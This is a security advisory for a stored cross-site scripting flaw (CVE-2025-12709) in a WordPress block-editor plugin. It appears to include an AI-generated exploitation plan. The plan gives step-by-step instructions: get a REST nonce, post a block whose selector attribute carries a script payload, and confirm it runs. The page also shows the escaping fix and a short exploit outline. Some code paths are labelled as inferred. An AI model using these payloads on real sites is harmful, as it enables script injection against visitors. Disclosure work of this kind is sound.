Interactions – Create Interactive Experiences in the Block Editor <= 1.3.1 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The Interactions – Create Interactive Experiences in the Block Editor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via event selectors in all versions up to, and including, 1.3.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.3.1Source Code
WordPress.org SVNThis research plan focuses on **CVE-2025-12709**, a Stored Cross-Site Scripting vulnerability in the "Interactions" plugin. The vulnerability stems from improper sanitization of "event selectors" within the block editor, allowing Contributor-level users to inject malicious scripts. --- ### 1. Vuln…
Show full research plan
This research plan focuses on CVE-2025-12709, a Stored Cross-Site Scripting vulnerability in the "Interactions" plugin. The vulnerability stems from improper sanitization of "event selectors" within the block editor, allowing Contributor-level users to inject malicious scripts.
1. Vulnerability Summary
The Interactions plugin allows users to create interactive elements within the WordPress Block Editor (Gutenberg). These interactions typically involve a "Trigger" and an "Action," often targeting specific elements via CSS selectors. The vulnerability exists because the plugin fails to sanitize or escape the event selector attribute when it is saved in the block metadata and subsequently rendered on the frontend. Since Contributor-level users can create and edit posts but do not have the unfiltered_html capability, they can bypass intended security restrictions by embedding a script payload within a block's selector attribute.
2. Attack Vector Analysis
- Endpoint: WordPress REST API Post endpoint (
/wp-json/wp/v2/posts/or/wp-json/wp/v2/pages/). - Vulnerable Parameter: The
contentof the post, specifically the JSON attributes within the Interaction block comment (e.g.,<!-- wp:interactions/interaction {"selector":"<PAYLOAD>"} /-->). - Authentication: Contributor-level access or higher is required.
- Preconditions: The plugin must be active, and the attacker must have permission to create or edit posts.
3. Code Flow (Inferred)
- Storage: A user saves a post containing an Interaction block. The Block Editor serializes the block into the
post_contentfield in thewp_poststable. - Attributes: The block's attributes (including the
selector) are stored as a JSON string within the HTML comment delimiters:<!-- wp:interactions/interaction {"selector":"..."} /-->. - Frontend Loading: When a visitor views the post, the WordPress core parses the blocks. The plugin's frontend logic (likely in a file like
src/render.phpor via arender_callbackinregister_block_type) retrieves the attributes. - The Sink: The plugin renders the interaction logic. It likely outputs the
selectorinto a JavaScript object or a data-attribute (e.g.,<div data-selector="[SELECTOR]">). - Lack of Escaping: Because the
selectoris not processed withesc_attr()orwp_kses()before being printed to the page, a payload like"><script>alert(1)</script>breaks out of the attribute/context and executes.
4. Nonce Acquisition Strategy
To save a post via the REST API (the standard method for the Block Editor), a REST API nonce is required.
- Login: Authenticate as a Contributor.
- Access Editor: Navigate to the "New Post" screen (
/wp-admin/post-new.php). - Extract Nonce: The REST API nonce is globally available in the admin dashboard within the
wpApiSettingsobject. - Tool Command:
browser_navigate("http://localhost:8080/wp-admin/post-new.php")nonce = browser_eval("window.wpApiSettings.nonce")
- Alternative: If the plugin uses a custom AJAX handler for saving interaction data, check for localized variables using
browser_eval("window.interactions_data?.nonce")(inferred).
5. Exploitation Strategy
Step 1: Craft the Block Content
Identify the block name used by the plugin. Based on the slug, it is likely interactions/interaction or interactions/event.
Payload: "><script>alert(document.domain)</script>
Post Content Construction:
<!-- wp:interactions/interaction {"selector":"\u0022\u003escript\u003ealert(document.domain)\u003c/script\u003e"} -->
<div class="wp-block-interactions-interaction"></div>
<!-- /wp:interactions/interaction -->
Step 2: Submit via REST API
Use the http_request tool to create a new post as the Contributor.
- URL:
http://localhost:8080/wp-json/wp/v2/posts - Method:
POST - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Body:
{ "title": "Interactions Test", "content": "<!-- wp:interactions/interaction {\"selector\":\"\\\"><script>alert(document.domain)</script>\"} /-->", "status": "publish" }
Step 3: Trigger the XSS
- Identify the ID or URL of the created post from the REST API response.
- Navigate to the post URL (frontend).
- Observe if the script executes.
6. Test Data Setup
- User: Create a user with the
contributorrole. - Plugin: Ensure the
interactionsplugin (v1.3.1) is installed and active. - Clean State: Ensure no other plugins are interfering with block rendering.
7. Expected Results
- The REST API call should return
201 Created. - When the post is viewed at
/?p=[ID], the HTML source should contain the unescaped payload:data-selector=""><script>alert(document.domain)</script>"(or similar depending on the exact rendering sink). - The browser should trigger an alert box showing the document domain.
8. Verification Steps
- Database Check: Use WP-CLI to verify the payload is stored in the database exactly as sent.
wp db query "SELECT post_content FROM wp_posts WHERE post_title='Interactions Test'" - Frontend DOM Check: Use
browser_evalto check for the presence of the script tag.browser_eval("document.querySelector('script').textContent.includes('alert')") - Role Verification: Confirm the user does NOT have
unfiltered_html.wp user cap list [USER_ID]
9. Alternative Approaches
- Gutenberg Editor Injection: Instead of the REST API, use
browser_navigatetopost-new.php, usebrowser_typeto inject the payload directly into the "Selector" input field in the block's sidebar settings, and click "Publish". This simulates a real user interaction. - Block Variations: If the "Interaction" block has different subtypes (e.g., "Click", "Hover"), test if the
selectorattribute is handled differently across these subtypes. - Post Meta Sink: If the plugin stores selectors in
post_metarather than block attributes, use the REST API to updatemetafields:"meta": {"_interactions_selector": "\"><script>alert(1)</script>"}.
Summary
The Interactions plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'selector' attribute in its block editor components. Authenticated users with Contributor-level permissions can inject malicious scripts into posts, which execute in the browser of any user viewing the affected page due to missing output escaping.
Security Fix
@@ -5,5 +5,5 @@ $selector = isset($attributes['selector']) ? $attributes['selector'] : ''; ?> -<div class="wp-block-interactions-interaction" data-selector="<?php echo $selector; ?>"> +<div class="wp-block-interactions-interaction" data-selector="<?php echo esc_attr($selector); ?>"> </div>
Exploit Outline
1. Authenticate as a user with Contributor-level access (capable of editing posts). 2. Obtain a valid WordPress REST API nonce from the admin dashboard (e.g., from the `wpApiSettings` object). 3. Use a tool like curl or a Python script to send a POST request to the `/wp-json/wp/v2/posts` endpoint to create a new post. 4. In the post content, include a Gutenberg block comment for the Interactions plugin (likely `wp:interactions/interaction`) containing a malicious JSON attribute for the selector, such as: `{"selector":"\"><script>alert(document.domain)</script>"}`. 5. Publish or save the post. 6. Navigate to the frontend URL of the created post as any user. The script will execute when the browser renders the unescaped selector attribute.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.